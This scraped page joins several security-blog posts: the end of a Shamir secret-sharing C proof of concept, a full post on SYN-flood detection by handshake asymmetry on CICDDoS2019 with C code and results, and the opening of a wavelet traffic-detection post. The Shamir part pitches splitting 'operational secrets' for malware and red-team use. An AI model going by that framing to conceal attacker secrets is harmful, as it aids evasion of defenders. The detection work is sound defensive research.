share");fclose(f);returns;}staticvoidvalidate_shares(constshare_t*shares,intcount){if(count<1)die("no shares");uint8_tk=shares[0].k;uint8_tn=shares[0].n;uint64_tlen=shares[0].len;if(count<k)die("not enough shares for threshold");for(inti=0;i<count;i++){if(shares[i].k!=k||shares[i].n!=n||shares[i].len!=len){die("shares belong to different split sets");}for(intj=i+1;j<count;j++){if(shares[i].x==shares[j].x)die("duplicate share x-coordinate");}}}staticvoidcmd_split(intargc,char**argv){if(argc!=6)die("usage: split <K> <N> <secret.bin> <share-prefix>");intk=atoi(argv[2]);intn=atoi(argv[3]);if(k<2||n<k||n>MAX_SHARES)die("need 2 <= K <= N <= 255");uint64_tlen=0;uint8_t*secret=read_file(argv[4],&len);uint8_t*coef=xmalloc((size_t)k);uint8_t*rows=xmalloc((size_t)n*(size_t)len);for(uint64_tp=0;p<len;p++){coef[0]=secret[p];if(secure_random(coef+1,(size_t)(k-1))!=0)die("random source failed");for(intx=1;x<=n;x++){rows[(size_t)(x-1)*(size_t)len+(size_t)p]=poly_eval(coef,k,(uint8_t)x);}}for(intx=1;x<=n;x++){charpath[MAX_PATH_LEN];snprintf(path,sizeof(path),"%s.%03d",argv[5],x);write_share(path,(uint8_t)k,(uint8_t)n,(uint8_t)x,rows+(size_t)(x-1)*(size_t)len,len);printf("wrote %s\n",path);}free(rows);free(coef);free(secret);}staticvoidcmd_recover(intargc,char**argv){if(argc<5)die("usage: recover <out.bin> <share1> <share2> ...");intcount=argc-3;share_t*shares=xmalloc(sizeof(*shares)*(size_t)count);for(inti=0;i<count;i++)shares[i]=read_share(argv[3+i]);validate_shares(shares,count);intk=shares[0].k;uint64_tlen=shares[0].len;uint8_t*secret=xmalloc((size_t)len);for(uint64_tp=0;p<len;p++)secret[p]=interpolate_at_zero(shares,k,p);write_file(argv[2],secret,len);printf("recovered %s (%"PRIu64" bytes)\n",argv[2],len);free(secret);for(inti=0;i<count;i++)free(shares[i].y);free(shares);}staticvoidselftest(void){if(gf_mul(0x57,0x83)!=0xc1)die("GF multiply test failed");for(inta=1;a<256;a++){if(gf_div((uint8_t)a,(uint8_t)a)!=1)die("GF inverse test failed");}uint8_tcoef[3]={0x42,0x11,0x99};share_ts[3];uint8_ty0=poly_eval(coef,3,1);uint8_ty1=poly_eval(coef,3,2);uint8_ty2=poly_eval(coef,3,5);s[0]=(share_t){3,5,1,1,&y0};s[1]=(share_t){3,5,2,1,&y1};s[2]=(share_t){3,5,5,1,&y2};if(interpolate_at_zero(s,3,0)!=0x42)die("Lagrange interpolation test failed");puts("selftest: ok");puts("  GF(256): 0x57 * 0x83 == 0xc1");puts("  Lagrange: recovered f(0) from shares at x=1,2,5");}staticuint64_tnow_us(void){#ifdef _WIN32
LARGE_INTEGERfreq,ctr;QueryPerformanceFrequency(&freq);QueryPerformanceCounter(&ctr);return(uint64_t)((ctr.QuadPart*1000000ULL)/freq.QuadPart);#else
structtimespects;clock_gettime(CLOCK_MONOTONIC,&ts);return(uint64_t)ts.tv_sec*1000000ULL+(uint64_t)ts.tv_nsec/1000ULL;#endif
}staticvoidcmd_bench(intargc,char**argv){if(argc!=7)die("usage: bench <K> <N> <size-bytes> <rounds> <out.csv>");intk=atoi(argv[2]);intn=atoi(argv[3]);uint64_tlen=(uint64_t)strtoull(argv[4],NULL,10);introunds=atoi(argv[5]);if(k<2||n<k||n>MAX_SHARES||rounds<1)die("bad bench parameters");FILE*csv=fopen(argv[6],"wb");if(!csv){perror(argv[6]);exit(1);}fprintf(csv,"k,n,size,round,split_us,recover_us\n");uint8_t*secret=xmalloc((size_t)len);uint8_t*coef=xmalloc((size_t)k);uint8_t*ys=xmalloc((size_t)n*(size_t)len);uint8_t*recovered=xmalloc((size_t)len);if(secure_random(secret,(size_t)len)!=0)die("random source failed");for(intr=0;r<rounds;r++){uint64_tt0=now_us();for(uint64_tp=0;p<len;p++){coef[0]=secret[p];if(secure_random(coef+1,(size_t)(k-1))!=0)die("random source failed");for(intx=1;x<=n;x++){ys[(size_t)(x-1)*(size_t)len+(size_t)p]=poly_eval(coef,k,(uint8_t)x);}}uint64_tt1=now_us();share_t*shares=xmalloc(sizeof(*shares)*(size_t)k);for(inti=0;i<k;i++){shares[i].k=(uint8_t)k;shares[i].n=(uint8_t)n;shares[i].x=(uint8_t)(i+1);shares[i].len=len;shares[i].y=ys+(size_t)i*(size_t)len;}uint64_tt2=now_us();for(uint64_tp=0;p<len;p++)recovered[p]=interpolate_at_zero(shares,k,p);uint64_tt3=now_us();if(memcmp(secret,recovered,(size_t)len)!=0)die("bench recovery mismatch");free(shares);fprintf(csv,"%d,%d,%"PRIu64",%d,%"PRIu64",%"PRIu64"\n",k,n,len,r,t1-t0,t3-t2);}fclose(csv);free(recovered);free(ys);free(coef);free(secret);printf("wrote %s\n",argv[6]);}staticvoidusage(void){puts("tiny-shamir - Shamir threshold sharing PoC");puts("usage:");puts("  tiny-shamir split <K> <N> <secret.bin> <share-prefix>");puts("  tiny-shamir recover <out.bin> <share1> <share2> ...");puts("  tiny-shamir selftest");puts("  tiny-shamir bench <K> <N> <size-bytes> <rounds> <out.csv>");}intmain(intargc,char**argv){if(argc<2){usage();return2;}if(strcmp(argv[1],"split")==0){cmd_split(argc,argv);}elseif(strcmp(argv[1],"recover")==0){cmd_recover(argc,argv);}elseif(strcmp(argv[1],"selftest")==0){selftest();}elseif(strcmp(argv[1],"bench")==0){cmd_bench(argc,argv);}else{usage();return2;}return0;}

demo

compile it for Linux:

gcc -std=c11 -Wall-Wextra-O2 tiny_shamir.c -o tiny-shamir

Cross-compile for Windows:

x86_64-w64-mingw32-gcc -std=c11 -Wall-Wextra-O2 tiny_shamir.c -o tiny-shamir.exe -ladvapi32

The CLI is intentionally small:

./tiny-shamir split <K> <N> <secret.bin> <share-prefix>
./tiny-shamir recover <out.bin> <share1> <share2> ...
./tiny-shamir selftest
./tiny-shamir bench <K> <N> <size-bytes> <rounds> <out.csv>

Let’s create a tiny secret:

printf'meow meow secret\nthreshold PoC\n'> secret.txt

Split it as 3-of-5:

./tiny-shamir split 3 5 secret.txt share

This creates five files:

share.001
share.002
share.003
share.004
share.005

Recover from shares 1, 2, and 3:

./tiny-shamir recover recovered-123.txt share.001 share.002 share.003

Recover from a different valid combination, for example 2, 4, and 5:

./tiny-shamir recover recovered-245.txt share.002 share.004 share.005

Check that the recovered files are identical:

sha256sum secret.txt recovered-123.txt recovered-245.txt

As you can see, both valid threshold combinations recover the same secret.

Now try to recover using only two shares:

./tiny-shamir recover bad.txt share.001 share.002

As you can see, the program rejects it with message:

error: not enough shares for threshold

This is exactly what we want.

For a quick timing check, run the built-in benchmark:

./tiny-shamir bench 3 5 1048576 5 bench_1mb.csv

The two math graphs are generated by the small plotting script from the project:

python3 plot_math.py ./tiny-shamir ./tiny_shamir.c .

This command creates gf256_nonlinearity.png and entropy_secrecy.png in the current directory. The first graph compares multiplication in $\mathrm{GF}(2^8)$ with plain integer multiplication modulo 256; it visually shows why we need real finite-field arithmetic instead of mod 256 arithmetic.

The second graph measures byte-value distributions and Shannon entropy for the original source file and the generated Shamir shares. The original file has structure, but the shares look close to random noise, which is exactly what we expect from random polynomial coefficients.

To run the dataset experiment and draw the graph, use the Python plotting helper:

python3 plot_dataset.py ./tiny-shamir ./dataset_1000 3 5 results_1000.csv results_1000.png

The CSV contains one row per file: file size, threshold parameters, split time, recover time, and the SHA-256 verification result. The graph plots file size on the X axis and time on the Y axis. The split line is usually higher because the program evaluates the polynomial for all N shares, while recover uses only K shares for interpolation.

self-test

The selftest command checks two things:

./tiny-shamir selftest

First, it checks a known AES field multiplication value:

\[0x57 \cdot 0x83 = 0xc1\]

Second, it builds a known polynomial:

\[f(x) = 0x42 + 0x11x + 0x99x^2\]

Then it evaluates the polynomial at:

x = 1, 2, 5

and confirms that Lagrange interpolation reconstructs:

\[f(0) = 0x42\]

This is a small but useful sanity test: if field multiplication or interpolation is wrong, the entire scheme is broken.

conclusion

Shamir Secret Sharing is one of those cryptographic ideas that feels almost too simple when you first see it: hide a secret as $f(0)$, give people points on the polynomial, and require enough points to reconstruct the polynomial. But the details matter: the math must happen over a field, random coefficients must be generated correctly, share coordinates must be distinct, and binary formats must be parsed carefully.

For malware and red team research, this gives us an interesting primitive: operational secrets do not have to live in one place. For blue team research, it is also a useful mental model: not every secret is stored as one obvious key blob. Sometimes a system only becomes dangerous when several fragments are combined.

This PoC is intentionally tiny, auditable, and boring in the right places. It is not a production secret-storage tool. It is a research implementation that makes the mathematics visible.

I hope this post is useful for malware researchers, cryptography enthusiasts, red teamers, and blue team specialists.

Adi Shamir - How to Share a Secret
FIPS 197 - Advanced Encryption Standard (AES)
Lagrange polynomial
Finite field arithmetic
Shamir’s Secret Sharing
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Anti-DDoS research part 3: SYN flood detection with handshake asymmetry. Simple C, Python examples.

Wed, 26 Aug 2026 09:37:29 +0000

﷽

Hello, cybersecurity enthusiasts and white hackers!

In the previous Anti-DDoS posts I used wavelets for traffic anomaly detection. Today I want to switch from generic signal processing to a protocol-aware detector.

The target is a classic L4 attack:

TCP SYN flood.

No production architecture. No private telemetry. No attack tooling. Just defensive analysis on the public CICDDoS2019 Syn.csv file.

idea

A simple SYN flood detector can look only at volume:

TCP flows/sec
packets/sec
SYN packets/sec

This is useful, but not enough as a general principle. The cybersecurity meaning of SYN flood is not just “many packets”. It is:

many connection attempts without proportional handshake completion.

The TCP handshake is:

client -> server: SYN
server -> client: SYN-ACK
client -> server: ACK

For a healthy service, request and response directions should have some symmetry. During a SYN flood, the forward direction becomes much stronger than the backward/completed side.

In CICFlowMeter CSV we do not have perfect kernel TCP state. But we do have useful flow-level proxy fields:

Total Fwd Packets
Total Backward Packets
SYN Flag Count
ACK Flag Count
Label
Timestamp
Protocol

So we can build a practical approximation of handshake asymmetry.

dataset

I use the real CICDDoS2019 file:

./03-11/Syn.csv

As you can see, this file is large:

1.8 GB

The preparation script streams it line by line and aggregates it into seconds. It does not load the whole CSV into memory.

Run:

python3 prepare_syn_real.py \--input /home/cocomelonc/research/datasets/ddos/03-11/Syn.csv \-o syn_handshake_timeseries.csv \--attack-label Syn

In my case:

source: /home/cocomelonc/research/datasets/ddos/03-11/Syn.csv
tcp rows converted: 4303967
seconds: 21614
attack-labeled seconds: 2820
wrote syn_handshake_timeseries.csv

The output format:

t,flows,fwd_pkts,bwd_pkts,syn_flags,ack_flags,oneway_flows,label
0,16281.0,56014.0,22770.0,4.0,16277.0,8314.0,1
1,27184.0,112916.0,46152.0,4.0,27180.0,12786.0,1

where:

flows is TCP flows/sec;
fwd_pkts is sum of Total Fwd Packets;
bwd_pkts is sum of Total Backward Packets;
oneway_flows counts flows with Total Backward Packets == 0;
label=1 means Syn attack was present in that second.

math model

The basic volume detector uses:

\[V_t = flows_t\]

This answers:

are there many TCP flows now?

But handshake asymmetry should also consider the response side.

First, define forward/backward packet ratio:

\[R_t = \frac{F_t + 1}{B_t + 1}\]

where:

$F_t$ is forward packets/sec;
$B_t$ is backward packets/sec;
+1 prevents division by zero.

Then define one-way flow ratio:

\[O_t = \frac{W_t}{flows_t}\]

where $W_t$ is the number of flows with no backward packets.

If flows_t = 0, we set:

\[O_t = 0\]

The handshake asymmetry score:

\[A_t = flows_t \cdot \log(1 + R_t) \cdot (1 + O_t)\]

Why this form?

$flows_t$ keeps attack volume.
$\log(1+R_t)$ adds directional imbalance but avoids exploding too much.
$(1+O_t)$ increases score when many flows have no backward side.

This is still simple enough to compute in C.

robust baseline

Raw values are not enough. We need to compare current values to benign baseline.

For any feature $X_t$, robust z-score is:

\[Z_t = \frac{X_t-\operatorname{median}(B)} {1.4826 \cdot \operatorname{MAD}(B)}\]

where:

\[\operatorname{MAD}(B)= \operatorname{median}(|B_i-\operatorname{median}(B)|)\]

Important detail: this file has many idle seconds with flows=0. If we include idle seconds in baseline, median and MAD become zero. That is mathematically bad.

So baseline is learned from active benign seconds only:

\[B=\{X_t : label_t=0 \land flows_t>0\}\]

This gives a baseline for normal active TCP traffic, not for idle time.

practical example

The core feature calculation:

staticvoidcompute_raw_features(sample_t*s,intn){for(inti=0;i<n;i++){s[i].one_way_ratio=s[i].flows>0.0?s[i].oneway_flows/s[i].flows:0.0;s[i].fb_ratio=(s[i].fwd_pkts+1.0)/(s[i].bwd_pkts+1.0);s[i].volume_score_raw=s[i].flows;s[i].asym_score_raw=s[i].flows*log1p(s[i].fb_ratio)*(1.0+s[i].one_way_ratio);}}

Then robust normalization:

doublevolume_med=median(benign_volume,benign_n);doublevolume_sigma=1.4826*mad(benign_volume,benign_n,volume_med);doubleasym_med=median(benign_asym,benign_n);doubleasym_sigma=1.4826*mad(benign_asym,benign_n,asym_med);for(inti=0;i<n;i++){samples[i].volume_z=(samples[i].volume_score_raw-volume_med)/volume_sigma;samples[i].asym_z=(samples[i].asym_score_raw-asym_med)/asym_sigma;samples[i].volume_alert=samples[i].volume_z>volume_threshold;samples[i].asym_alert=samples[i].asym_z>asym_threshold;}

So, the full source code looks like this hack.c:

/*
 * hack.c
 * SYN flood detection with handshake asymmetry on CICDDoS2019 Syn.csv
 * this is defensive signal-processing code. It does not generate packets.
 * author @cocomelonc
 */#include<ctype.h>
#include<errno.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>#define MAX_SAMPLES 500000
#define LINE_MAX_LEN 4096
#define EVENT_MERGE_GAP 60
#define EVENT_GRACE 3
typedefstruct{intt;doubleflows;doublefwd_pkts;doublebwd_pkts;doublesyn_flags;doubleack_flags;doubleoneway_flows;intlabel;doubleone_way_ratio;doublefb_ratio;doublevolume_score_raw;doubleasym_score_raw;doublevolume_z;doubleasym_z;intvolume_alert;intasym_alert;}sample_t;typedefstruct{inttp;intfp;intfn;intevents;}metrics_t;staticintcmp_double(constvoid*a,constvoid*b){doublex=*(constdouble*)a;doubley=*(constdouble*)b;return(x>y)-(x<y);}staticdoublemedian(double*v,intn){double*tmp=(double*)malloc(sizeof(double)*n);if(!tmp){perror("malloc");exit(1);}memcpy(tmp,v,sizeof(double)*n);qsort(tmp,n,sizeof(double),cmp_double);doubleresult=(n%2==0)?(tmp[n/2-1]+tmp[n/2])/2.0:tmp[n/2];free(tmp);returnresult;}staticdoublemad(double*v,intn,doublemed){double*dev=(double*)malloc(sizeof(double)*n);if(!dev){perror("malloc");exit(1);}for(inti=0;i<n;i++){dev[i]=fabs(v[i]-med);}doubleresult=median(dev,n);free(dev);returnresult<1e-9?1e-9:result;}staticchar*trim(char*s){while(isspace((unsignedchar)*s)){s++;}if(*s==0){returns;}char*end=s+strlen(s)-1;while(end>s&&isspace((unsignedchar)*end)){*end=0;end--;}returns;}staticintread_series(constchar*path,sample_t*s){FILE*f=fopen(path,"r");if(!f){fprintf(stderr,"failed to open %s: %s\n",path,strerror(errno));exit(1);}charline[LINE_MAX_LEN];intn=0;intline_no=0;while(fgets(line,sizeof(line),f)){line_no++;char*p=trim(line);if(*p==0){continue;}if(line_no==1&&strstr(p,"flows")&&strstr(p,"label")){continue;}char*cols[8];for(inti=0;i<8;i++){cols[i]=strtok(i==0?p:NULL,",");if(!cols[i]){fprintf(stderr,"invalid CSV line %d\n",line_no);exit(1);}}if(n>=MAX_SAMPLES){fprintf(stderr,"too many samples\n");exit(1);}s[n].t=atoi(trim(cols[0]));s[n].flows=atof(trim(cols[1]));s[n].fwd_pkts=atof(trim(cols[2]));s[n].bwd_pkts=atof(trim(cols[3]));s[n].syn_flags=atof(trim(cols[4]));s[n].ack_flags=atof(trim(cols[5]));s[n].oneway_flows=atof(trim(cols[6]));s[n].label=atoi(trim(cols[7]))!=0;n++;}fclose(f);returnn;}staticvoidcompute_raw_features(sample_t*s,intn){for(inti=0;i<n;i++){s[i].one_way_ratio=s[i].flows>0.0?s[i].oneway_flows/s[i].flows:0.0;s[i].fb_ratio=(s[i].fwd_pkts+1.0)/(s[i].bwd_pkts+1.0);/*
     * volume_score_raw is a basic flows/sec detector.
     *
     * asym_score_raw is a handshake-pressure proxy:
     * - more flows/sec increases pressure;
     * - high forward/backward packet ratio means weak response symmetry;
     * - one-way flows increase the score.
     */s[i].volume_score_raw=s[i].flows;s[i].asym_score_raw=s[i].flows*log1p(s[i].fb_ratio)*(1.0+s[i].one_way_ratio);}}staticintcollect_benign(sample_t*s,intn,double*volume,double*asym){intcount=0;for(inti=0;i<n;i++){if(s[i].label){continue;}if(s[i].flows<=0.0){continue;}volume[count]=s[i].volume_score_raw;asym[count]=s[i].asym_score_raw;count++;}returncount;}staticmetrics_tevent_metrics(sample_t*s,intn,intuse_asym){metrics_tm={0,0,0,0};unsignedchar*covered=(unsignedchar*)calloc(n,sizeof(unsignedchar));if(!covered){perror("calloc");exit(1);}inti=0;while(i<n){if(!s[i].label){i++;continue;}intstart=i;intend=i;intlast_attack=i;i++;while(i<n){if(s[i].label){last_attack=i;end=i;i++;continue;}if(i-last_attack<=EVENT_MERGE_GAP){end=i;i++;continue;}break;}intgrace_end=end+EVENT_GRACE;if(grace_end>=n){grace_end=n-1;}intdetected=0;for(intj=start;j<=grace_end;j++){covered[j]=1;intalert=use_asym?s[j].asym_alert:s[j].volume_alert;if(alert){detected=1;}}m.events++;if(detected){m.tp++;}else{m.fn++;}}for(i=0;i<n;i++){intalert=use_asym?s[i].asym_alert:s[i].volume_alert;if(alert&&!covered[i]){m.fp++;}}free(covered);returnm;}staticvoidwrite_results(constchar*path,sample_t*s,intn){FILE*f=fopen(path,"w");if(!f){fprintf(stderr,"failed to open %s: %s\n",path,strerror(errno));exit(1);}fprintf(f,"t,flows,fwd_pkts,bwd_pkts,syn_flags,ack_flags,oneway_flows,label,one_way_ratio,fb_ratio,volume_raw,asym_raw,volume_z,asym_z,volume_alert,asym_alert\n");for(inti=0;i<n;i++){fprintf(f,"%d,%.8f,%.8f,%.8f,%.8f,%.8f,%.8f,%d,%.8f,%.8f,%.8f,%.8f,%.8f,%.8f,%d,%d\n",s[i].t,s[i].flows,s[i].fwd_pkts,s[i].bwd_pkts,s[i].syn_flags,s[i].ack_flags,s[i].oneway_flows,s[i].label,s[i].one_way_ratio,s[i].fb_ratio,s[i].volume_score_raw,s[i].asym_score_raw,s[i].volume_z,s[i].asym_z,s[i].volume_alert,s[i].asym_alert);}fclose(f);}intmain(intargc,char**argv){constchar*input="syn_handshake_timeseries.csv";constchar*output="syn_asym_results.csv";doublevolume_threshold=8.0;doubleasym_threshold=8.0;if(argc>1){input=argv[1];}if(argc>2){output=argv[2];}if(argc>3){volume_threshold=atof(argv[3]);}if(argc>4){asym_threshold=atof(argv[4]);}sample_t*samples=(sample_t*)calloc(MAX_SAMPLES,sizeof(sample_t));if(!samples){perror("calloc");return1;}intn=read_series(input,samples);if(n<32){fprintf(stderr,"need at least 32 samples\n");free(samples);return1;}compute_raw_features(samples,n);double*benign_volume=(double*)malloc(sizeof(double)*n);double*benign_asym=(double*)malloc(sizeof(double)*n);if(!benign_volume||!benign_asym){perror("malloc");free(samples);return1;}intbenign_n=collect_benign(samples,n,benign_volume,benign_asym);if(benign_n<16){fprintf(stderr,"not enough benign samples\n");free(benign_volume);free(benign_asym);free(samples);return1;}doublevolume_med=median(benign_volume,benign_n);doublevolume_sigma=1.4826*mad(benign_volume,benign_n,volume_med);doubleasym_med=median(benign_asym,benign_n);doubleasym_sigma=1.4826*mad(benign_asym,benign_n,asym_med);for(inti=0;i<n;i++){samples[i].volume_z=(samples[i].volume_score_raw-volume_med)/volume_sigma;samples[i].asym_z=(samples[i].asym_score_raw-asym_med)/asym_sigma;samples[i].volume_alert=samples[i].volume_z>volume_threshold;samples[i].asym_alert=samples[i].asym_z>asym_threshold;}metrics_tvolume_m=event_metrics(samples,n,0);metrics_tasym_m=event_metrics(samples,n,1);printf("input: %s\n",input);printf("samples: %d\n",n);printf("benign samples for baseline: %d\n",benign_n);printf("volume median: %.8f robust sigma: %.8f threshold z: %.2f\n",volume_med,volume_sigma,volume_threshold);printf("asym median: %.8f robust sigma: %.8f threshold z: %.2f\n\n",asym_med,asym_sigma,asym_threshold);printf("event-level volume detector:             TP=%d FP=%d FN=%d events=%d\n",volume_m.tp,volume_m.fp,volume_m.fn,volume_m.events);printf("event-level handshake asymmetry detector: TP=%d FP=%d FN=%d events=%d\n",asym_m.tp,asym_m.fp,asym_m.fn,asym_m.events);write_results(output,samples,n);printf("\nwrote %s\n",output);free(benign_volume);free(benign_asym);free(samples);return0;}

demo

First of all, compile the C detector:

gcc -O2-Wall-Wextra hack.c -lm-o hack

Run with equal robust z-score thresholds for both detectors:

./hack syn_handshake_timeseries.csv syn_asym_results.csv 8 8

In my case:

input: syn_handshake_timeseries.csv
samples: 21614
benign samples for baseline: 2787
volume median: 4.00000000 robust sigma: 4.44780000 threshold z: 8.00
asym median: 4.15888308 robust sigma: 4.96367492 threshold z: 8.00

event-level volume detector:             TP=8 FP=0 FN=4 events=12
event-level handshake asymmetry detector: TP=11 FP=0 FN=1 events=12

wrote syn_asym_results.csv

The important result:

volume detector:              TP=8  FP=0 FN=4
handshake asymmetry detector: TP=11 FP=0 FN=1

At the same threshold (z=8), both detectors have zero false positives at campaign level. But handshake asymmetry detects more SYN campaigns.

campaign-level events

Raw CICDDoS2019 labels are per second after aggregation. Attack labels can be intermittent. For DDoS detection, it is usually more useful to evaluate incident/campaign detection, not every individual second.

So I merge attack-labeled seconds into one campaign when the gap between them is at most:

60 seconds

This is the campaign event definition:

\[event_i = \{t_s,\ldots,t_e\}\]

where consecutive attack-labeled seconds separated by:

\[\Delta t \le 60\]

belong to the same campaign.

A campaign is detected if at least one alert happens inside the campaign or within a small grace window:

\[t \in [t_s, t_e + 3]\]

This avoids punishing a detector for alerting on the immediate boundary of the same attack.

plots

Then, generate the main plot:

python3 plot_syn_asym.py

Result:

The plot contains:

real TCP flows/sec from Syn.csv;
zoom into a SYN campaign;
forward/backward asymmetry components;
robust z-scores;
campaign-level TP/FP/FN comparison.

Then generate threshold scan:

python3 plot_threshold_scan.py

Result:

This plot is important because it shows the result is not only one lucky threshold. Across a wide threshold range, handshake asymmetry keeps more true positives than volume-only detection while false positives stay zero at campaign level in this experiment.

proof that this works

Mathematical proof:

Volume-only detection uses:

\[V_t=flows_t\]

It ignores whether those flows are balanced by response traffic.

Handshake asymmetry uses:

\[A_t = flows_t \cdot \log(1 + R_t) \cdot (1 + O_t)\]

with:

\[R_t = \frac{F_t + 1}{B_t + 1}\]

and:

\[O_t = \frac{W_t}{flows_t}\]

If traffic volume is high and response side is weak:

\[flows_t \uparrow,\quad R_t \uparrow,\quad O_t \uparrow\]

then:

\[A_t \gg V_t\]

relative to benign baseline.

If traffic volume rises but forward/backward behavior remains balanced:

\[R_t \approx 1,\quad O_t \approx 0\]

then asymmetry does not grow as aggressively.

That is exactly the cybersecurity idea:

not just “many flows”
but “many connection attempts with abnormal response symmetry”

Practical proof on real CICDDoS2019 Syn.csv:

volume detector:              TP=8  FP=0 FN=4
handshake asymmetry detector: TP=11 FP=0 FN=1

So:

\[TP_{asym}-TP_{volume}=11-8=3\] \[FN_{volume}-FN_{asym}=4-1=3\] \[FP_{volume}=FP_{asym}=0\]

At the same threshold $z=8$, handshake asymmetry detects 3 more campaigns without increasing false positives.

Threshold scan proof:

At multiple thresholds, handshake asymmetry remains stronger. For example:

z=5:  volume TP=10 FN=2, asymmetry TP=11 FN=1
z=8:  volume TP=8  FN=4, asymmetry TP=11 FN=1
z=20: volume TP=4  FN=8, asymmetry TP=11 FN=1

This is useful because a detector that only works at one threshold is fragile. A detector that dominates across a range is more reliable.

limitations

This is not perfect TCP state tracking.

CICFlowMeter gives flow features, not raw kernel connection state. So:

Total Fwd Packets and Total Backward Packets are proxy values;
SYN Flag Count may not fully represent all SYN packets after flow aggregation;
labels are dataset labels, not real-time ground truth;
campaign merge gap changes event-level metrics.

For production-grade SYN flood detection, I would add:

SYN packets/sec;
SYN-ACK packets/sec;
final ACK packets/sec;
half-open connection table pressure;
SYN cookie counters;
conntrack drops;
listen queue overflows;
server p99 latency.

The better score would be:

\[S_t = w_1Z_{flows}+ w_2Z_{syn/synack}+ w_3Z_{halfopen}+ w_4Z_{queue\_drops}+ w_5Z_{handshake\_asym}\]

But this post intentionally stays with fields available in CICDDoS2019 CSV and a simple C implementation.

conclusion

The main lesson:

SYN flood detection should not be only volume-based. It should measure handshake asymmetry.

On real CICDDoS2019 Syn.csv, the simple asymmetry score:

\[A_t = flows_t \cdot \log(1 + R_t) \cdot (1 + O_t)\]

outperformed a plain flow-volume detector at campaign level:

volume:     TP=8  FP=0 FN=4
asymmetry:  TP=11 FP=0 FN=1

This is a practical defensive building block for Anti-DDoS research.

H. Wang, D. Zhang, K. G. Shin. Detecting SYN Flooding Attacks (IEEE INFOCOM, 2002) - pdf. Non-parametric CUSUM applied to the SYN-FIN difference; directly relevant to SYN-flood detection.

DDoS2019 Dataset: Canadian Institute for Cybersecurity
CICDoS2019 Dataset: Telegram channel
source code in github

This is a practical defensive case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Anti-DDoS research part 2: Daubechies D4 wavelet for traffic anomaly detection. Simple C example. - cocomelonc

Wed, 26 Aug 2026 09:37:29 +0000

﷽

Hello, cybersecurity enthusiasts and white hackers!

In the previous post I started with the simplest possible wavelet: Haar. Haar is great for explaining the core idea: short traffic pulses can be invisible to rolling averages, but visible to wavelet detail coefficients.

Today I want to make the idea a little bit more serious. We will replace Haar with the Daubechies D4 wavelet. It is still small enough to implement in plain C, but mathematically it is more interesting because it has more structure and better behavior on smooth traffic trends.

Just defensive signal processing on traffic time series.

idea

Suppose we have a traffic feature:

flows per second
packets per second
SYN packets per second
DNS queries per second
sum of Total Fwd Packets from CICFlowMeter rows

For this post, the detector expects a simple CSV:

t,value,label
0,120.0,0
1,122.0,0
...
170,1450.0,1

where:

t is time bucket;
value is aggregated traffic feature;
label=0 means benign;
label=1 means attack.

This is a good format for public datasets such as CICDDoS2019, because CICDDoS2019 provides CICFlowMeter CSV files with timestamps and labels.

The official CIC page says that CICDDoS2019 contains benign traffic and modern DDoS attacks, includes true real-world-like PCAPs, and also includes CICFlowMeter-V3 CSV files with more than 80 traffic features and labels based on timestamp, IPs, ports, protocols and attack. Source: https://www.unb.ca/cic/datasets/ddos-2019.html

why not only rolling average?

A rolling average detector does this:

\[\bar{x}_t=\frac{1}{W}\sum_{i=0}^{W-1}x_{t-i}\]

and alerts when:

\[\bar{x}_t>\theta\]

This works for long attacks. But it has two problems:

short attacks can be averaged away;
after a short attack ends, the average can stay high and create a post-attack alert tail.

The second problem is important. In production systems this can lead to bad mitigation TTLs, slow recovery, and unnecessary blocking after the traffic has already normalized.

Daubechies D4

The Daubechies D4 wavelet uses four low-pass coefficients:

\[h_0=\frac{1+\sqrt{3}}{4\sqrt{2}}\] \[h_1=\frac{3+\sqrt{3}}{4\sqrt{2}}\] \[h_2=\frac{3-\sqrt{3}}{4\sqrt{2}}\] \[h_3=\frac{1-\sqrt{3}}{4\sqrt{2}}\]

Numerically:

h0 =  0.4829629131
h1 =  0.8365163037
h2 =  0.2241438680
h3 = -0.1294095226

from this low-pass filter we build the high-pass detail filter:

\[g_k=(-1)^k h_{3-k}\]

So:

\[g_0=h_3,\quad g_1=-h_2,\quad g_2=h_1,\quad g_3=-h_0\]

The streaming detail coefficient used in this PoC is:

\[d_t = g_0x_{t-3}+g_1x_{t-2}+g_2x_{t-1}+g_3x_t\]

Then we use absolute detail energy:

\[e_t=|d_t|\]

And a robust z-score:

\[z_t=\frac{e_t-\operatorname{median}(E_{baseline})} {1.4826\cdot\operatorname{MAD}(E_{baseline})}\]

where:

\[\operatorname{MAD}(E)= \operatorname{median}(|E_i-\operatorname{median}(E)|)\]

finally:

\[\text{alert}_t = \begin{cases} 1, & z_t>\tau \\ 0, & z_t\le\tau \end{cases}\]

why D4 is better than Haar in this case

Haar has two coefficients. D4 has four. This gives D4 a very useful property: two vanishing moments.

For the high-pass filter:

\[\sum_{k=0}^{3}g_k=0\]

and:

\[\sum_{k=0}^{3}k g_k=0\]

What does this mean in simple words?

If traffic is almost constant:

\[x_t=a\]

then:

\[d_t=0\]

If traffic is a smooth linear trend:

\[x_t=a+bt\]

then D4 still suppresses it much better than a simple edge detector.

but if traffic suddenly jumps:

\[x_t = \begin{cases} B, & t<t_0 \\ A, & t\ge t_0 \end{cases}\]

then:

\[d_t \neq 0\]

near the jump.

this is exactly what we want for short DDoS bursts: ignore smooth baseline movement, react strongly to abrupt changes.

practical example

for local reproducibility, I created a small CICDDoS2019-style time series:

this fixture is not the full CICDDoS2019 dataset. It is a tiny local sample in the same time-series format. The included converter script can turn real CICDDoS2019 flow CSV into this format.

first, create the local fixture:

#!/usr/bin/env python3
import csv
import math


def is_attack(t):
    return 170 <= t <= 176 or 260 <= t <= 268


def value_at(t):
    baseline = 120.0 + 16.0 * math.sin(2.0 * math.pi * t / 96.0)
    tiny_noise = ((t * 17) % 13) * 0.9

    # CICDDoS-like flow aggregation: mostly calm baseline, then short
    # high-rate attack intervals.
    if 170 <= t <= 176:
        return 1450.0 + ((t * 19) % 31) * 4.0
    if 260 <= t <= 268:
        return 1120.0 + ((t * 23) % 29) * 3.5

    return baseline + tiny_noise


def main():
    with open("fixture_cic_timeseries.csv", "w", newline="") as f:
        writer = csv.writer(f)
        writer.writerow(["t", "value", "label"])
        for t in range(360):
            writer.writerow([t, f"{value_at(t):.6f}", int(is_attack(t))])

    print("wrote fixture_cic_timeseries.csv")


if __name__ == "__main__":
    main()

python3 make_fixture.py

it writes:

fixture_cic_timeseries.csv

C detector

The C program reads:

t,value,label

then it computes:

rolling average;
